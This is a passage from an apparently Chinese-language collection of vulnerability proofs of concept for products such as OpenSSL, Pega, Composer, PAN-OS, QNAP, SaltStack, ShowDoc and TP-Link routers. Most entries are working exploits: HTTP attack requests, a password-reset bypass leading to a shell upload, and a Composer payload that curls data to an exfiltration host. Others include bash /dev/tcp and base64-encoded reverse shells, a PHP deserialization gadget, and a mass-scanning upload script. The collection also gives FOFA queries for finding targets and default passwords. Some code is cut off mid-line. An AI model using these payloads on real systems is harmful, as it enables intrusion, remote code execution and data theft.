| 影响版本： 6 | 7 | openssl:openssl < 1.1.1-k 8 | 9 | PoC： 10 | 11 | ``` 12 | Usage: go run . -host hostname:port 13 | ``` 14 | 15 | 16 | ``` 17 | // CVE-2021-3449 exploit code. 18 | if hello.vers >= VersionTLS12 { 19 | if c.handshakes == 0 { 20 | println("initial handshake") 21 | hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms 22 | } else { 23 | // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference 24 | // if the supported_signature_algorithms extension is omitted, 25 | // but supported_signature_algorithms_cert is present. 26 | println("malicious handshake") 27 | hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms 28 | } 29 | } 30 | ``` 31 | 32 | ref： 33 | 34 | * https://github.com/terorie/cve-2021-3449 35 | * https://www.openssl.org/news/secadv/20210325.txt -------------------------------------------------------------------------------- /PEGA pega infinity 授权认证绕过RCE（CVE-2021-27651）.md: -------------------------------------------------------------------------------- 1 | # PEGA pega infinity 授权认证绕过RCE（CVE-2021-27651） 2 | 3 | PEGA pega infinity是美国PEGA公司的一个应用软件。提供从数字混乱过渡到真正的数字转换。Pega Infinity 8.2.1版本至8.5.2版本存在授权问题漏洞，该漏洞源于本地帐户的密码重置功能可以用来绕过本地认证检查。 4 | 5 | 影响版本： 6 | 7 | * Pega Infinity > = 8.2.1 8 | * Pega Infinity <= 8.5.2 9 | 10 | **复现：** 11 | 12 | 1.访问任何实例登录页面，使用"administrator@pega.com"进行重置密码进行登录,PoC如下，重置密码为：Rules@1234进行登录后上传shell进行rce。 13 | 14 | 15 | ``` 16 | POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W) 17 | Host: redacted.com 18 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 19 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 20 | Accept-Language: en-US,en;q=0.5 21 | Accept-Encoding: gzip, deflate 22 | Content-Type: application/x-www-form-urlencoded 23 | Content-Length: 112 24 | Origin: https://redacted.com 25 | DNT: 1 26 | Connection: close 27 | Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD 28 | Cookie: yourCookie 29 | Upgrade-Insecure-Requests: 1 30 | 31 | pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword= 32 | ``` 33 | 34 | Nuclei Template： 35 | 36 | 37 | ``` 38 | id: pega 39 | 40 | info: 41 | name: Pega Infinity Login 42 | author: sshell 43 | severity: low 44 | 45 | requests: 46 | - method: GET 47 | path: 48 | - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs" 49 | headers: 50 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 51 | matchers: 52 | - type: word 53 | words: 54 | - "Pega API" 55 | 56 | ``` 57 | 58 | ref： 59 | 60 | * https://github.com/samwcyo/CVE-2021-27651-PoC/blob/main/RCE.md 61 | * https://nvd.nist.gov/vuln/detail/CVE-2021-27651 62 | * http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-2150 63 | -------------------------------------------------------------------------------- /PHP Composer命令注入漏洞（CVE-2021-29472）.md: -------------------------------------------------------------------------------- 1 | # PHP Composer命令注入漏洞（CVE-2021-29472） 2 | 3 | 4 | Composer是PHP的一个依赖管理器工具，它使用在线服务Packagist来确定软件包下载的正确供应链。据估计，Packagist基础设施每月大约为14亿个下载请求提供服务。由于Root composer.json文件中的Mercurial库的URL和包源下载的URL没有被正确清理，这将导致攻击者注入的参数被解释为Composer执行的系统命令的选项。如果系统中安装了hg/Mercurial，则恶意制作的URL值将导致代码在HgDriver中被执行。 5 | 6 | 详细分析可以见：https://blog.sonarsource.com/php-supply-chain-attack-on-composer 7 | 8 | PoC： 9 | 10 | 11 | ``` 12 | --config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)” 13 | 14 | ``` 15 | 16 | ref： 17 | 18 | * https://blog.sonarsource.com/php-supply-chain-attack-on-composer 19 | * https://nvd.nist.gov/vuln/detail/CVE-2021-29472 -------------------------------------------------------------------------------- /PHP图像处理组件：Intervention-image 目录遍历漏洞.md: -------------------------------------------------------------------------------- 1 | # PHP图像处理组件：Intervention/image 目录遍历漏洞 2 | 3 | 4 | Intervention/image是一个PHP图像处理组件，是基于Imagick和GD，可以用于改变图片大小，剪裁，添加水印等等功能，此外还有图片缓存功能，在动态URL获取图片尺寸的应用非常有效。此程序包容易受到目录遍历攻击。 5 | 6 | **PoC：** 7 | 8 | 1.htdocs文件夹中创建一个项目目录 9 | 10 | 2.使用composer安装软件包。[这里下载](http://image.intervention.io/getting_started/installation) 11 | 12 | 3.创建以下文件夹结构，将我们的图像存储在您的项目根目录下 13 | 14 | ``` 15 | uploads 16 | -> first-folder 17 | --> image-1.jpg 18 | -> second-folder 19 | --> image-2.jpg 20 | ``` 21 | 22 | 4.在您的项目根目录下创建一个test.php文件，然后将此代码复制并粘贴到下面： 23 | 24 | ```php 25 | resize(320, 240); 39 | 40 | // finally we save the image as a new file 41 | $img->save('uploads/1/newphoto.jpeg'); 42 | ``` 43 | 44 | 5.在项目根目录中打开终端，然后运行命令 php test.php 45 | 46 | 6.验证图像现在位于您的uploads/1/newphoto.jpeg文件夹中，该文件夹属于uploads/2/image-2.jpeg 47 | 48 | ![](images/16107164481030.jpg) 49 | 50 | 51 | ref： 52 | 53 | * https://github.com/Intervention/image/pull/1069 54 | * https://forum.ywhack.com/thread-114978-1-1.html 55 | -------------------------------------------------------------------------------- /Packer-Fuzzer 漏扫工具 < 1.2 远程代码执行漏洞.md: -------------------------------------------------------------------------------- 1 | # Packer-Fuzzer 漏扫工具 < 1.2 远程代码执行漏洞 2 | 3 | 利用Packer-Fuzzer扫描加载恶意Payload的网站从远程加载恶意JS导致命令执行。 4 | 5 | 目前发布的1.2版本已经修复。 6 | 7 | **hack.js：** 8 | 9 | ```js 10 | document.createElement("script"); 11 | q.p+"";eval(decodeURI("require(%27child_process%27).e%78ec(%27mate-calc%27)"));//"{114514:;[s].js 12 | ``` 13 | 14 | **index.html：** 15 | 16 | ```html 17 | 18 | 19 | 20 | 21 | 22 | 23 | ``` 24 | 25 | 详细分析见：https://drivertom.blogspot.com/2021/01/packer-fuzzerrce-0day.html 26 | 27 | PoC from：https://github.com/TomAPU/poc_and_exp/tree/master/Packer-Fuzzer-RCE -------------------------------------------------------------------------------- /Palo Alto PAN-OS 防火墙多个漏洞.md: -------------------------------------------------------------------------------- 1 | # Palo Alto PAN-OS 防火墙多个漏洞 2 | 3 | * 任意命令执行 CVE-2020-2037和CVE-2020-2038 4 | * DOS — CVE-2020-2039 5 | * 反射跨站点脚本（XSS）— CVE-2020-2036 6 | 7 | **RCE #1** 8 | 9 | 登录web管理，在“Objects”选项卡上，转到“External Dynamic Lists”，点击新增源，输入Payload： 10 | 11 | ``` 12 | http://myhost/?result='`id`' 13 | http://myServer/'`sleep 5`' 14 | ``` 15 | 16 | **RCE #2** 17 | 18 | ![](images/16133786592286.jpg) 19 | 20 | 21 | DOS/XSS:https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ 22 | 23 | from:https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ -------------------------------------------------------------------------------- /Panabit 智能应用网关 后台命令执行漏洞.md: -------------------------------------------------------------------------------- 1 | # Panabit 智能应用网关 后台命令执行漏洞 2 | 3 | 4 | Panabit 智能应用网关 ajax_top 后台存在命令执行漏洞，攻击者可以以root权限运行部分危险命令. 5 | 6 | fofa：cert="panabit.com" && body="/login/login.js" 7 | 8 | 默认密码：admin/panabit 9 | 10 | poc： 11 | 12 | ``` 13 | POST /cgi-bin/Maintain/ajax_top?action=runcmd&cmd=ls HTTP/1.1 14 | Host: 15 | Connection: close 16 | Content-Length: 0 17 | sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" 18 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 19 | Cache-Control: no-cache 20 | Accept-Language: zh-CN,zh;q=0.8 21 | sec-ch-ua-mobile: ?0 22 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 23 | Content-Type: text/html; charset=GB2312 24 | Sec-Fetch-Site: same-origin 25 | Sec-Fetch-Mode: cors 26 | Sec-Fetch-Dest: empty 27 | Accept-Encoding: gzip, deflate 28 | Cookie: pauser_1618744108=paonline_admin_9328_16197064781_c4229a3a492c76e334f57728abced88b|443|; 29 | ``` 30 | 31 | ref： 32 | 33 | https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Panabit/Panabit%20%E6%99%BA%E8%83%BD%E5%BA%94%E7%94%A8%E7%BD%91%E5%85%B3%20ajax_top%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md -------------------------------------------------------------------------------- /Pydio 网盘系统 RCE （CVE-2020-28913）.md: -------------------------------------------------------------------------------- 1 | # Pydio 网盘系统 RCE （CVE-2020-28913） 2 | 3 | Pydio（以前称为AjaXplorer）是用于远程管理和共享文件的开源Web应用程序。 4 | 5 | 通过发送带有代码中使用的特殊HTTP变量但未在Web UI中公开的文件复制请求，攻击者可以覆盖.ajxp_meta文件。该.ajxp_meta文件写入到用户的目录序列化的PHP对象，当Pydio大概需要已存储的文件信息被反序列化。 6 | 7 | **PS：需要登录** 8 | 9 | 影响版本：Pydio Core <= 8.2.5 10 | 11 | FOFA: 12 | 13 | ``` 14 | title="Pydio" || icon_hash="-1115903764" 15 | ``` 16 | 17 | ![](media/16096788331640/16096788547739.jpg) 18 | 19 | 20 | **PoC:** 21 | 22 | ```bash 23 | POST /pydio/index.php? HTTP/1.1 24 | Host: example.com 25 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0 26 | Accept: */* 27 | Accept-Language: en-US,en;q=0.5 28 | Accept-Encoding: gzip, deflate 29 | Referer: https://example.com/pydio/ws-my-files/ 30 | Content-type: application/x-www-form-urlencoded; charset=UTF-8 31 | Origin: https://example.com 32 | Content-Length: 124 33 | Connection: close 34 | Cookie: AjaXplorer=ak7jio5pphe6onko1gcofj05k4 35 | 36 | get_action=copy&targetBaseName=../.ajxp_meta&dir=%2F&nodes[]=%2Fpayload&dest=%2F&secure_token=sG9TmYIkNsWTEEx5p5qLCHJcty0MfyQ3 37 | ``` 38 | 39 | 以下PHP对象小工具将尝试运行已上传到用户目录的二进制文件shell.elf。通过将绝对路径传递到我们上传的shell二进制文件，我们确实对服务器上的路径进行了假设。在测试过程中，小工具中的位置是默认位置，没有特殊的Pydio配置。 40 | 41 | 42 | ```json 43 | O:26:"GuzzleHttp\Stream\FnStream":1:{s:9:"_fn_close";a:2:{i:0;O:10:"Securimage":7:{s:13:"wordlist_file";s:62:"/usr/share/pydio/core/vendor/dapphp/securimage/words/words.txt";s:12:"captcha_type";i:2;s:13:"audio_use_sox";b:1;s:15:"sox_binary_path";s:56:"/var/lib/pydio/personal/atredis/shell.elf";s:13:"database_file";s:47:"/var/lib/pydio/personal/atredis/fdsa.db";s:12:"use_database";b:1;s:9:"namespace";s:4:"fdsa";}i:1;s:15:"outputAudioFile";}} 44 | ``` 45 | 46 | ref:https://www.atredis.com/blog/2020/11/12/authenticated-rce-in-pydio-forever-day -------------------------------------------------------------------------------- /QNAP QTS Surveillance Station插件远程代码执行漏洞（CVE-2021-28797）.md: -------------------------------------------------------------------------------- 1 | # QNAP QTS Surveillance Station插件远程代码执行漏洞（CVE-2021-28797） 2 | 3 | 威联通监控管理系统Surveillance Station插件远程代码执行漏洞（CVE-2021-28797） 4 | 5 | 影响版本： 6 | 7 | * QNAP QTS 5.1.5.4.2 8 | * QNAP QTS 5.1.5.3.2 9 | 10 | 漏洞分析见：https://ssd-disclosure.com/ssd-advisory-qnap-pre-auth-cgi_find_parameter-rce/ 11 | 12 | Exploit.py： 13 | 14 | ```py 15 | import requests 16 | import threading 17 | from struct import * 18 | p = lambda x: pack("& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000, 33 | } 34 | for i in range(30): 35 | t = threading.Thread(target=run, args=(s, data)) 36 | t.start() 37 | 38 | 39 | if __name__ == '__main__': 40 | main() 41 | ``` -------------------------------------------------------------------------------- /RDoc 命令注入（CVE-2021-31799）.md: -------------------------------------------------------------------------------- 1 | # RDoc 命令注入（CVE-2021-31799） 2 | 3 | RDoc调用Kernel#open打开本地文件，ruby项目中如果文件名以|开头和tags结尾，则会导致命令注入。 4 | 5 | 影响版本： 6 | 7 | 从3.11到6.3.0的所有RDoc版本 8 | 9 | PoC： 10 | 11 | ``` 12 | touch "|touch cb" 13 | rdoc "|touch cb" 14 | ``` 15 | ref： 16 | 17 | * https://www.ruby-lang.org/en/news/2021/05/02/os-command-injection-in-rdoc/ 18 | * https://security.archlinux.org/CVE-2021-31799 -------------------------------------------------------------------------------- /SAP_EEM_CVE-2020-6207 PoC.md: -------------------------------------------------------------------------------- 1 | # SAP_EEM_CVE-2020-6207 PoC 2 | 3 | SAP Solution Manager是德国思爱普（SAP）公司的一套集系统监控、SAP支持桌面、自助服务、ASAP实施等多个功能为一体的系统管理平台。该平台可以帮助客户建立SAP解决方案的生命周期管理，并提供系统监控、远程支持服务和SAP产品组件升级等功能。 SAP Solution Manager (User Experience Monitoring) 7.2版本中存在安全漏洞，该漏洞源于程序没有对服务进行任意的身份验证。攻击者可利用该漏洞入侵所有连接Solution Manager的SMDAgents。 4 | 5 | 漏洞细节：https://github.com/chipik/SAP_EEM_CVE-2020-6207/blob/main/Process.md 6 | 7 | PoC for CVE-2020-6207 (Missing Authentication Check in SAP Solution Manager)：https://github.com/chipik/SAP_EEM_CVE-2020-6207 8 | 9 | **Check** 10 | 11 | ```bash 12 | ➜ python sol-rce.py -H 172.16.30.43 -P 50000 -c 13 | Vulnerable! [CVE-2020-6207] - http://172.16.30.43:50000 14 | ``` 15 | 16 | **Trigger RCE** 17 | 18 | ``` 19 | python sol-rce.py -H 172.16.30.43 -P 50000 --rce calc.exe 20 | ``` 21 | 22 | **Get BackConnect** 23 | 24 | ```bash 25 | ➜ python sol-rce.py -H 172.16.30.43 -P 50000 --back 1.1.1.1:1337 26 | ``` 27 | 28 | **SSRF** 29 | 30 | ```bash 31 | ➜ python sol-rce.py -H 172.16.30.43 -P 50000 --ssrf http://1.1.1.1/chpk 32 | ``` 33 | 34 | **sol-rce.py** 35 | 36 | https://github.com/chipik/SAP_EEM_CVE-2020-6207/blob/main/sol-rce.py -------------------------------------------------------------------------------- /SaltStack命令注入漏洞（CVE-2021-31607）.md: -------------------------------------------------------------------------------- 1 | # SaltStack命令注入漏洞（CVE-2021-31607） 2 | 3 | 在SaltStack的Snapper模块中存在命令注入漏洞，当master请求minion的diff时，minion会使用popen执行file命令判断目录下文件是否为文本文件，将文件名作为参数传递给file，当文件名包含恶意命令时可能导致命令注入漏洞，导致系统执行恶意命令。 4 | 5 | 利用条件： 6 | 7 | 1. master开启Snapper.diff模块 8 | 2. minion内存在有恶意文件名的文件 9 | 10 | 影响版本： 11 | 12 | saltstack 2016.9 到3002.6 13 | 14 | PoC： 15 | 16 | 17 | ``` 18 | echo hi > '$(touch HACKED).txt' 19 | 反弹shell： 20 | echo hi > '$(echo bmMgLWUgL2Jpbi9iYXNoIDEyNy4wLjAuMSA0NDQ0|base64 -d|sh -i).txt' 21 | ``` 22 | 23 | ref： 24 | 25 | * https://sec.stealthcopter.com/saltstack-snapper-minion-privledge-escaltion/ 26 | * https://nvd.nist.gov/vuln/detail/CVE-2021-31607 27 | * https://nox.qianxin.com/vulnerability/detail/97347 -------------------------------------------------------------------------------- /Saltstack 未授权RCE漏洞 （CVE-2021-25281-25282-25283）.md: -------------------------------------------------------------------------------- 1 | # Saltstack 未授权RCE漏洞 （CVE-2021-25281/25282/25283） 2 | 3 | SaltStack套件是政企机构 IT运维管理人员常用的管理工具，利用这些漏洞，最严重情形可导致未授权远程代码执行。 4 | 5 | 漏洞分析见：https://mp.weixin.qq.com/s/QvQoTuQJVthxS07pbLWJmg 6 | 7 | 云鼎实验室：[首发分析 | SaltStack远程执行代码多个高危漏洞透析（CVE-2021-25281/25282/25283）](https://mp.weixin.qq.com/s/iu4cS_DZTs0sVVg92RBe4Q) 8 | 9 | FOFA： 10 | 11 | ``` 12 | app="SALTSTACK-产品" 13 | ``` 14 | 15 | 影响版本： 16 | 17 | * Saltstack 3002.2之前的所有版本 18 | * SaltStack =< 3002.2 19 | * SaltStack =< 3001.4 20 | * SaltStack =< 3000.6 21 | 22 | 23 | 1. salt-api wheel_async未授权访问 (CVE-2021-25281) 24 | 2. sdb rest插件模版渲染问题 (CVE-2021-25283) 25 | 3. wheel/pillar_roots.py文件任意写漏洞 (CVE-2021-25282 ) 26 | 27 | CVE-2021-25281 + CVE-2021-25282 PoC： 28 | 29 | ``` 30 | http://target/run 31 | POST: 32 | "client": "wheel_async", 33 | "fun": "pillar_roots.write", 34 | "data": "../../../../../tmp/test2", 35 | "path": "../../../../../tmp/test2", 36 | "username": "password", 37 | "password": "username", 38 | "eauth": "pam" 39 | ``` 40 | 41 | poc.py:https://github.com/Immersive-Labs-Sec/CVE-2021-25281 42 | 43 | **ref：** 44 | 45 | * https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/ 46 | * https://twitter.com/KevTheHermit/status/1365130814430846979 47 | * https://github.com/Immersive-Labs-Sec/CVE-2021-25281 48 | * https://dozer.nz/posts/saltapi-vulns 49 | -------------------------------------------------------------------------------- /SeaCMS SQL注入漏洞（CVE-2020-21378）.md: -------------------------------------------------------------------------------- 1 | # SeaCMS SQL注入漏洞（CVE-2020-21378） 2 | 3 | 4 | 影响版本 5 | 6 | SEACMS SeaCMS 10.1(2020.02.08) 7 | 8 | fofa： 9 | 10 | ``` 11 | app="海洋CMS" 12 | ``` 13 | 14 | PS：有点鸡肋，需要找到后台入口...还需要登录后才行 15 | 16 | SeaCMS 10.1 (2020.02.08)存在SQL注入漏洞。攻击者可通过对admin_members_group.php的编辑操作中的id参数利用该漏洞进行SQL注入攻击。 17 | 18 | Payload： 19 | 20 | ```sql 21 | http://10.2.7.9/5owghc/admin_members_group.php?action=edit&id=2%20and%20if(mid(user(),1,1)=%27r%27,concat(rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27),rpad(1,999999,%27a%27))%20RLIKE%20%27(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bcd%27,1) 22 | ``` 23 | 24 | ref： 25 | 26 | https://github.com/hackxf/cms_vul/blob/master/SeacmsSQL.md 27 | 28 | https://nvd.nist.gov/vuln/detail/CVE-2020-21378 29 | 30 | https://www.cnvd.org.cn/flaw/show/CNVD-2020-74059 -------------------------------------------------------------------------------- /ShopXO 任意文件读取漏洞（CNVD-2021-15822）.md: -------------------------------------------------------------------------------- 1 | # ShopXO 任意文件读取漏洞（CNVD-2021-15822） 2 | 3 | ShopXO是一套开源的企业级开源电子商务系统。ShopXO存在任意文件读取漏洞，攻击者可利用该漏洞获取敏感信息。 4 | 5 | **FOFA：** 6 | 7 | ``` 8 | app="ShopXO企业级B2C电商系统提供商" 9 | ``` 10 | 11 | **PoC：** 12 | 13 | 14 | ```bash 15 | GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1 16 | Host: 17 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 18 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 19 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 20 | Accept-Encoding: gzip, deflate 21 | Connection: close 22 | Upgrade-Insecure-Requests: 1 23 | 24 | ``` 25 | 26 | ref： 27 | 28 | * https://www.cnvd.org.cn/flaw/show/CNVD-2021-15822 29 | * https://forum.ywhack.com/thread-115303-1-8.html -------------------------------------------------------------------------------- /ShowDoc 前台文件上传漏洞.md: -------------------------------------------------------------------------------- 1 | # ShowDoc 前台文件上传漏洞 2 | 3 | FOFA: 4 | 5 | ``` 6 | app="ShowDoc" 7 | ``` 8 | 9 | **PoC：** 10 | 11 | ``` 12 | POST /server/index.php?s=/home/page/uploading HTTP/1.1 13 | 上传图片，并抓包，将文件名改为plzmyy.<>php 14 | ``` 15 | 16 | ```py 17 | import requests 18 | requests.packages.urllib3.disable_warnings() 19 | 20 | test = open('url.txt',"r") 21 | for host in test.readlines(): 22 | url = host+"/server/index.php?s=/home/page/uploading" 23 | payload = """------WebKitFormBoundary5j2IsrTFPjJCVtwU 24 | Content - Disposition: form - data;name = "editormd-image-file";filename = "plzmyy.<>php" 25 | Content - Type: text / plain 26 | 27 | 123123test 28 | ------WebKitFormBoundary5j2IsrTFPjJCVtwU - -""" 29 | headers = { 30 | "Cookie": "PHPSESSID=shp3gipo9moaj58kp9n8sbi4f1; think_language=zh-CN; cookie_token=8ff04b9bba8b6abf30ab5e0be6cceea2192c9cf7a90d73b2d34d025d84feea2d", 31 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 32 | "Connection": "close", 33 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", 34 | "Sec-Fetch-Site": "same-origin", 35 | "Sec-Fetch-Dest": "iframe", 36 | "Accept-Encoding": "gzip, deflate", 37 | "Sec-Fetch-Mode": "navigate", 38 | "sec-ch-ua": "\"Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"", 39 | "sec-ch-ua-mobile": "?0", 40 | "Cache-Control": "max-age=0", 41 | "Upgrade-Insecure-Requests": "1", 42 | "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", 43 | "Content-Length": "212", 44 | "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary5j2IsrTFPjJCVtwU" 45 | } 46 | try: 47 | response = requests.request("POST", url, data=payload, headers=headers, verify=False, timeout=5) 48 | except: 49 | continue 50 | 51 | if response.text in 'success': 52 | print(response.text) 53 | ``` 54 | 55 | ref： 56 | 57 | * https://github.com/star7th/showdoc/pull/1059 58 | * https://forum.ywhack.com/thread-114961-1-1.html 59 | 60 | -------------------------------------------------------------------------------- /Steam远程代码执行漏洞（CVE-2021-30481）.md: -------------------------------------------------------------------------------- 1 | # Steam远程代码执行漏洞（CVE-2021-30481） 2 | 3 | 安装了Source引擎游戏后，Valve Steam到2021-04-10都可以安装，通过一键单击后，Steam邀请会发生缓冲区溢出，从而使经过身份验证的远程用户可以执行任意代码。 4 | 5 | PoC:https://github.com/floesen/CVE-2021-30481 -------------------------------------------------------------------------------- /TG8 防火墙中的 RCE 和密码泄漏.md: -------------------------------------------------------------------------------- 1 | # TG8 防火墙中的 RCE 和密码泄漏 2 | 3 | TG8防火墙中存在两个漏洞，远程用户可以以用户身份执行命令而无需通过设备进行身份验证。第二个漏洞允许在不经过身份验证的情况下公开现有用户的密码。 4 | 5 | rce poc： 6 | 7 | ``` 8 | POST http:///admin/runphpcmd.php HTTP/1.1 9 | Host: Server 10 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 11 | Accept: application/json, text/javascript, */*; q=0.01 12 | Accept-Language: en-US,en;q=0.5 13 | Accept-Encoding: gzip, deflate 14 | Content-Type: application/x-www-form-urlencoded; charset=UTF-8 15 | X-Requested-With: XMLHttpRequest 16 | Content-Length: 68 17 | Connection: keep-alive 18 | 19 | 20 | syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+++local 21 | ``` 22 | 23 | whoami： 24 | 25 | ``` 26 | syscmd=sudo+/home/TG8/v3/syscmd/check_gui_login.sh+;whoami;++local 27 | 28 | ``` 29 | 30 | 密码泄漏： 31 | 32 | /data/目录下储存了登录过用户的凭据，无需登录即可访问此目录下的文件。 33 | 34 | 例如： 35 | 36 | * http:///data/w-341.tg 37 | * http:///data/w-342.tg 38 | * http:///data/r-341.tg 39 | * http:///data/r-342.tg 40 | 41 | ref： 42 | 43 | https://ssd-disclosure.com/ssd-advisory-tg8-firewall-preauth-rce-and-password-disclosure/ -------------------------------------------------------------------------------- /TP-Link AC1750 预认证远程代码执行漏洞（CVE-2021-27246）.md: -------------------------------------------------------------------------------- 1 | # TP-Link AC1750 预认证远程代码执行漏洞（CVE-2021-27246） 2 | 3 | 4 | 在TP-Link AC1750的tdpServer守护程序中存在漏洞，没有检查json数据的大小，导致了缓冲区溢出，通过缓冲区溢出，可以导致代码执行。 5 | 6 | FOFA: 7 | 8 | ``` 9 | app="TP_LINK-AC1750" 10 | ``` 11 | 12 | 漏洞详情见：https://www.synacktiv.com/publications/pwn2own-tokyo-2020-defeating-the-tp-link-ac1750.html 13 | 14 | poc：https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020 15 | 16 | ``` 17 | $ bash exploit.sh 18 | [+] Launching web server for distribution of pwn.sh 19 | Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 20 | INFO:tdpwn:Associating 49 onemesh clients... 21 | INFO:tdpwn:Done! 22 | And wait for 80 seconds... 23 | 80 seconds left... 24 | 70 seconds left... 25 | 60 seconds left... 26 | 50 seconds left... 27 | 40 seconds left... 28 | 30 seconds left... 29 | 20 seconds left... 30 | 10 seconds left... 31 | [+] Trying to exploit the tddp injection 32 | INFO:tdp:Preparing tddpv1_configset payload 33 | INFO:tdp:Sending payload 34 | 35 | [+] Trying the root shell (Low probability of success...) 36 | nc -v 192.168.0.1 12345 37 | nc: connect to 192.168.0.1 port 12345 (tcp) failed: Connection refused 38 | 39 | [ ] If shell hasn't succeed, don't worry, we retry 40 | 41 | INFO:tdpwn:Associating 49 onemesh clients... 42 | INFO:tdpwn:Done! 43 | And wait for 80 seconds... 44 | 80 seconds left... 45 | 70 seconds left... 46 | 60 seconds left... 47 | 50 seconds left... 48 | 40 seconds left... 49 | 30 seconds left... 50 | 20 seconds left... 51 | 10 seconds left... 52 | [+] Trying to exploit the tddp injection 53 | INFO:tdp:Preparing tddpv1_configset payload 54 | INFO:tdp:Sending payload 55 | 192.168.0.1 - - [30/Nov/2020 12:10:59] "GET /pwn.sh HTTP/1.1" 200 - 56 | 57 | [+] Trying the root shell (High probability of success...) 58 | nc -v 192.168.0.1 12345 59 | Connection to 192.168.0.1 12345 port [tcp/*] succeeded! 60 | uname -a 61 | Linux ArcherA7v5 3.3.8 #1 Mon Sep 14 19:52:46 CST 2020 mips GNU/Linux 62 | id 63 | uid=0(root) gid=0(root) 64 | ^C[-] Stopping Webserver, now 65 | Terminated 66 | ``` 67 | 68 | ref: 69 | 70 | * https://www.synacktiv.com/public ... tp-link-ac1750.html 71 | * https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020 72 | * https://nvd.nist.gov/vuln/detail/CVE-2021-27246 -------------------------------------------------------------------------------- /TP-Link WR2041 v1拒绝服务漏洞（CVE-2021-26827）.md: -------------------------------------------------------------------------------- 1 | # TP-Link WR2041 v1拒绝服务漏洞（CVE-2021-26827） 2 | 3 | 4 | 在TP-Link WR2041 v1存在拒绝服务漏洞，攻击者向/userRpm/popupSiteSurveyRpm.html发送恶意payload可以导致拒绝服务。 5 | 6 | poc: 7 | 8 | ``` 9 | GET 